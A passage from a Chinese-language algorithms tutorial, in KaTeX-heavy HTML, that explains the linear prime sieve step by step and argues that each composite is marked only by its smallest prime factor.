style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>一定大於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p><p>我們以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>對合數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span></span></span></span>進行分類，被分到同一類的合數，都能藉由同一個<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，乘以一個「比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>小的質數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>」表示出來。<br>因此我們能用一個<code>for</code>迴圈，當<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i=i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>時，將所有可用<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>乘一個質數表示出來的合數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi><mo>=</mo><mi>p</mi><mo>⋅</mo><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">K=p\cdot i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>找出來。<br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><strong>比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>小</strong>是這個演算法能成功跑下去的關鍵，能讓<code>i</code>隨著<code>for</code>迴圈慢慢變大的過程中，動態添加新質數，而不用擔心會漏篩。<br>什麼意思呢？我們手動試一下就知道了。</p><ul><li>首先<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">i=2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，將2加入<code>prime</code>。此時<code>prime = {2}</code>。將所有可以被表示為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">p\cdot 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的合數標記出來，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為小於等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>2</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i(=2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mclose">)</span></span></span></span>的質數。因此只有4被標記為合數：<code>not_prime[2*2] = 1</code>。</li><li>接著<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">i=3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>，將3加入<code>prime</code>，此時<code>prime = {2,3}</code>。將所有可以被表示為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">p\cdot 3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>的合數標記出來，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>≤</mo><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>3</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p\leq i(=3)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mclose">)</span></span></span></span>。因此6、9被標記為合數。</li><li>接著<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">i=4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>，4已被標記為合數，因此不加入<code>prime</code>，此時<code>prime = {2,3}</code>。將所有可以被表示為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">p\cdot 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>的合數標記出來，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為小於等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>4</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i(=4)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">4</span><span class="mclose">)</span></span></span></span>的質數。因此8、12被標記為合數。(注意：此時我們先忽略後面要加入的break。實際線性篩中 <code>i=4</code> 只會對8標記，而不會對12標記)</li><li>接著<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>5</mn></mrow><annotation encoding="application/x-tex">i=5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>，5還未被標記為合數，故為質數，加入<code>prime</code>，此時<code>prime = {2,3,5}</code>。將所有可以被表示為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mn>5</mn></mrow><annotation encoding="application/x-tex">p\cdot 5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的合數標記出來，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為小於等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>5</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i(=5)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">5</span><span class="mclose">)</span></span></span></span>的質數。因此10、15、25被標記為合數。</li></ul><p>不斷重複，直到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mi>N</mi></mrow><annotation encoding="application/x-tex">i=N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span></span>。</p><p>這裡我們解釋兩個細節：</p><ol><li>迴圈跑到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i=i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>時，如果<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>是合數，他必可拆成比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>小的質數和另一數的乘積，從而在之前的步驟就被標記出來了，所以若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>沒被標記為合數，他就一定是質數。稍微延伸一下可知此時所有小於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>的質數此時也都被找出來了。</li><li>由於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>小，所以當<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>跑到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>時，所有比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>小的質數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>都已經在<code>prime</code>裡了，所以不會漏篩合數。</li></ol><p>從上我們知道了線性篩的步驟，也能理解線性篩是能正確運作的。現在剩最後一個問題：<br>如何確保每個數「只被<strong>最小質因數</strong>篩到」？<br>我們回到先前的例子，從<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">i=6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>繼續跑下去：</p><ul><li>接著<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>6</mn></mrow><annotation 